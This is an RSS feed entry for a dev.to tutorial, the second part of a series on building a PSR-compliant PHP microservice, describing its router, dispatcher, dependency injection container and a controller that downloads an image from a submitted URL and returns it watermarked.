      <link>https://dev.to/dobrenteiistvan/building-a-psr-compliant-microservice-in-pure-php-part-2-3kb5</link>
      <guid>https://dev.to/dobrenteiistvan/building-a-psr-compliant-microservice-in-pure-php-part-2-3kb5</guid>
      <description>&lt;p&gt;The first step is to understand the classes and their responsibilities. The project is publicly available on GitHub at the following URL: &lt;a href="https://github.com/distvan/php-microservice" rel="noopener noreferrer"&gt;https://github.com/distvan/php-microservice&lt;/a&gt;. In the repository’s doc folder, you'll find a &lt;a href="https://github.com/distvan/php-microservice/blob/main/doc/uml_class_digram.png" rel="noopener noreferrer"&gt;UML class diagram&lt;/a&gt; that illustrates the classes, interfaces, and their relationships. This diagram helps visualize the overall structure of the application. Each class is a self-contained unit, adhering to the Separation of Concerns principle. Furthermore, since each class has a single reason to change, the design also complies with the Single Responsibility Principle. The application accepts an HTTP POST form request at the /watermark endpoint, with an image parameter containing the URL of an image. It downloads the specified image, applies a watermark, and returns the watermarked image as a binary response. &lt;/p&gt;

&lt;p&gt;Let’s take a closer look.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/distvan/php-microservice/blob/main/public/index.php" rel="noopener noreferrer"&gt;entry point&lt;/a&gt; of the application is the index.php file located in the public folder, which serves as a bootstrap. It uses a class loader (autoload.php) based on the &lt;a href="https://www.php-fig.org/psr/psr-4/" rel="noopener noreferrer"&gt;PSR-4 standard&lt;/a&gt; and relies on Composer for package management. You can review the package dependencies in the composer.json file.&lt;/p&gt;

&lt;p&gt;Environment-specific settings, such as logging configuration and the base watermark image name, are stored in a .env file. To access these variables, the application uses an existing package that handles environment variable loading.&lt;/p&gt;

&lt;p&gt;The Dependency Injection (DI) container is responsible for resolving class dependencies and managing inversion of control. Its primary goal is to make the application more maintainable and testable. For a deeper dive into the topic, refer to my latest &lt;a href="https://dev.to/dobrenteiistvan/modern-dependency-injection-in-php-beyond-the-container-2a7b"&gt;blog post about containers&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/distvan/php-microservice/blob/main/src/Infrastructure/Container.php" rel="noopener noreferrer"&gt;DI container&lt;/a&gt; in this project is implemented as a separate, modular component that can be easily attached to the application. I intentionally kept it minimal and straightforward, so it can be replaced with any other container that implements the same standard interface.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/distvan/php-microservice/blob/main/src/Infrastructure/Router.php" rel="noopener noreferrer"&gt;Router&lt;/a&gt; class is responsible for registering, storing, and managing route definitions. It matches incoming HTTP requests to the appropriate Route based on the HTTP method and URI path, effectively mapping each request to the corresponding controller and action.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/distvan/php-microservice/blob/main/src/Infrastructure/Dispatcher.php" rel="noopener noreferrer"&gt;Dispatcher&lt;/a&gt; class handles the incoming request by using the Router to find a matching route. It then invokes the route's handler and returns the resulting response.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/distvan/php-microservice/blob/main/src/Infrastructure/RoutesConfigurator.php" rel="noopener noreferrer"&gt;RoutesConfigurator&lt;/a&gt; class is separated according to the Single Responsibility Principle. Its sole purpose is to define and register routes in a centralized and maintainable way.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/distvan/php-microservice/blob/main/src/Http/Controllers/WatermarkController.php" rel="noopener noreferrer"&gt;WatermarkController&lt;/a&gt; class is responsible for handling incoming requests. It performs tasks such as extracting data from the request, delegating processing to services, and formatting the response. The controller serves as the gateway between the external world and the internal logic of the microservice.&lt;/p&gt;

&lt;p&gt;Its typical responsibilities include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Receiving the request&lt;/li&gt;
&lt;li&gt;Extracting relevant data&lt;/li&gt;
&lt;li&gt;Validating the data (or delegating validation)&lt;/li&gt;
&lt;li&gt;Passing clean data to the service layer&lt;/li&gt;
&lt;li&gt;Returning the formatted response&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the controller class, I used constructor injection to provide its dependencies. To handle service instantiation, I implemented the factory pattern. This ensures that the creation logic is centralized in a single place, promoting consistency, testability, and separation of concerns.&lt;/p&gt;

&lt;p&gt;This article demonstrated a simple yet effective implementation of a microservice in PHP, focusing on clean architecture principles such as Separation of Concerns, Single Responsibility, and Dependency Injection. By organizing the application into modular components—like the router, dispatcher, controller, and service layers—we achieved a design that is both &lt;strong&gt;maintainable and extensible&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>php</category>
      <category>tutorial</category>
      <category>learning</category>
    </item>
  </channel>
</rss>
